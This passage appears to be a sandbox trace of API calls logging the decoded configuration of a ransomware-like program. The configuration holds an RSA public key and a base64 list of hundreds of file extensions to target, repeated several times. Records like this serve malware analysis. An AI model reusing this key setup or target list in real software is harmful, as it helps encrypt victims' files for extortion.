lLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxb